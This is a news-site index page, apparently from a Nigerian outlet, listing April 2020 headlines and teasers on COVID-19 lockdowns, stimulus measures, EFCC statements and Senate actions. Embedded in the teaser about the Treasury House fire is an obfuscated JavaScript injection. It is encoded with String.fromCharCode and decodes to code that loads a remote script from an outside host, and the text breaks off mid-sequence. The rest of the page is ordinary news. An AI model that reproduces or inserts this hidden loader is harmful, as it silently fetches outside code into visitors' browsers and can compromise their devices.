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13Apr By Sharpedge NewsNo Comments

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PRESIDENT MUHAMMADU BUHARI: ON THE EXTENSION OF COVID- 19 PANDEMIC LOCKDOWN IN FCT, LAGOS AND OGUN STATES

1. Fellow Nigerians 2. In my address on Sunday, 29th March, 2020, I asked the residents of Lagos and Ogun States as well as the Federal Capital Territory (more…)

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11Apr By Sharpedge NewsNo Comments

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COVID-19: NITDA DG Admonishes Starups on Entrpreneurial Mindset, Creativity

By Seun Adams The Director General, National Information Technology Development Agency (NITDA), Mr. Kashifu Abdullahi, has reiterated that amidst the uncertainties of the pandemic NITDA is resolved (more…)

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11Apr By Sharpedge NewsNo Comments

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COVID-19: Edo Constitutes Mobile Courts to Try Violators of Standard Protocol

By Frank Momoh The Edo State Judiciary has constituted Mobile Courts across the state to try violators of the Edo State Dangerous Infectious Diseases (Emergency Prevention) Regulations 2020, invoked by Governor Godwin Obaseki to curb the spread of Coronavirus (COVID-19) in the state. (more…)

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10Apr By Sharpedge NewsNo Comments

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Senate Felicitates with Nigerians at Easter

By Dwelleth Morountodun The Senate has extended it's felicitation to Nigerians, particularly of the Christian faith, as we and the rest of the world celebrate Easter, a very important event in the calendar of the followers of Jesus Christ. (more…)

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10Apr By Sharpedge NewsNo Comments

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$300m Abacha Loot: EFCC Tackles US Senator, Says Commission Transparent in Mgt of Looted Fund

By Mohammed Mohammed The Economic and Financial Crimes Commission (EFCC) has raised the alarm over the recent allegation against the Acting Chairman of the EFCC, Mr. Ibrahim Magu by the United States, US Senate's Chairman, Committee on Finance, Charles E. Grassley on looted funds. (more…)

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9Apr By Sharpedge NewsNo Comments

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5G Evolution: NCC Refutes Deployment Insinuations in Nigeria, Says Fibre Optic Laying is for Network Infracos’ Expansion

By Frank Momoh The Nigerian Communications Commission (NCC) on Thursday said the ongoing laying of fibre optic cables and the deployment of other telecoms equipment by Mobile Network Operators (MNOs) across Lagos and other states is entirely to expand their networks infrastructure across the country. (more…)

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9Apr By Sharpedge NewsNo Comments

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Kalu, Metuh, Dariye, Nyame Not Among 2600 Inmates Pardoned to Decongest Correctional Facilities

By Dwelleth Morountodun The Federal Government on Thursday, took a bold step to decongest it's 250 correctional facilities with 74, 000 inmates through extending amnesty to 2600 inmates scattered across the country. (more…)

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9Apr By Sharpedge NewsNo Comments

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COVID-19: Police Secure Conviction of 78 Violators

 ...Convicts sentenced to 30 days community service plus 14 days in isolation centre (more…)

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9Apr By Sharpedge NewsNo Comments

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COVID-19: Lawan Applauds Task Force, Urges Better Coordination

By Frank Momoh The President of the Senate, Ahmad Lawan, on Thursday applauded members of the Presidential Task Force (PTF) on COVID-19 for their (more…)

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9Apr By Sharpedge NewsNo Comments

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N2trn Controversy: N’ Assembly Clears Insinuations, Says Money Wasn’t on Agenda in its Meeting with Humanitarian Minister

By Mohammed Mohammed The National Assembly on Thursday has debunked some newspaper reports arising from its meeting with the Minister of Humanitarian Affairs, Disaster Management and Social Development, Hajia Sadiya Farouq, on Tuesday. (more…)

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8Apr By Sharpedge NewsNo Comments

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COVID-19 Lockdown: Salaries will be Duly Paid- Zainab Ahmed

By Dayo Omoogun The Minister of Finance, Budget and National Planning, Zainab Shamsuna Ahmed has assured that the ongoing lock down will not lead to delay in the payment of salaries of civil servants. (more…)

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8Apr By Sharpedge NewsNo Comments

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Office of the Accountant -General of the Federation On Fire

By Dayo Omoogun A wing of the building housing the Office of the Accountant -General of the Federation popularly known as Treasury House went up in flames this morning. At the time of this report ,the fire fighters had not arrived the scene and the cause of fire out break is yet unknown.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,...

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8Apr By Sharpedge NewsNo Comments

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COVID-19: Lawan Urges FG to Ensure Fairness, Equity in stimulus Package for Nigerians

By Mohammed Mohammed President of the Senate, Ahmad Lawan, on Wednesday urged the Executive arm of government to ensure equity and fairness in the distribution of the stimulus package across the country. (more…)

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8Apr By Sharpedge NewsNo Comments

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COVID-19: EFCC Cautions Nigerians against Fake Cures, Charities

By Mohammed Mohammed The Economic and Financial Crimes Commission (EFCC) on Wednesday again cautioned members of the public against unsupported claims of fraudulent operators advertising cures and treatments of the dreaded Covid-19 pandemic. (more…)

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8Apr By Sharpedge NewsNo Comments

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2 Months Free Electricity: DISCOs Back FG’s Cushioning Palliatives against Pandemic

By Mohammed Mohammed The Executive Director, Research and Advocacy, the Association of Nigerian Electricity Distributors, Barr. Sunday Oduntan, on Wednesday commended the federal government (more…)

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7Apr By Sharpedge NewsNo Comments

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COVID-19: FG Announces Fiscal Stimulus Package

Dayo Omoogun The Minister of Finance, Budget and National Planning, Zainab Shamsuna Ahmed, has announced a package of fiscal stimulus to mitigate the negative impact of the current economic shutdown instigated by the coronavirus pandemic and to avert a total collapse of the nation’s economy. (more…)

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7Apr By Sharpedge NewsNo Comments

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COVID -19 Palliatives: FG to Support Private Sector, Cannot Afford Grants

By Dayo Omoogun The Minister of Finance Zainab Ahmed, has said that the Federal Government will be engaging with the private sector to find the best ways and means of providing them with urgently needed support. (more…)

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7Apr By Sharpedge NewsNo Comments

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COVID-19: Buhari Prays for UK Prime Mimister’s Quick Recovery

By Mohammed Mohammed President Muhammadu Buhari, on Tuesday, prayed and wishes the Prime Minister of the United Kingdom (UK), Mr. Boris Johnson, quick recovery and be restored to full health. (more…)

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7Apr By Sharpedge NewsNo Comments

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COVID-19: 150 Trucks of Seized Rice to be Distributed

By Dayo Omoogun As part of efforts at cushioning the effect of the COVID-19 pandemic on the poor and vulnerable, the Federal Government is in the process of distributing 150 trucks of rice which had previously been seized from smugglers by the Customs Department. (more…)

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7Apr By Sharpedge NewsNo Comments

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Lawan, Gbajabiamila Fault SIP Implementation, Want scheme Backed by Law

By Mohammed Mohammed The leadership of the National Assembly has faulted the way the Social Investment Programme (SIP) of the federal government is being implemented and called for an enabling legislation in line with global best practices. (more…)

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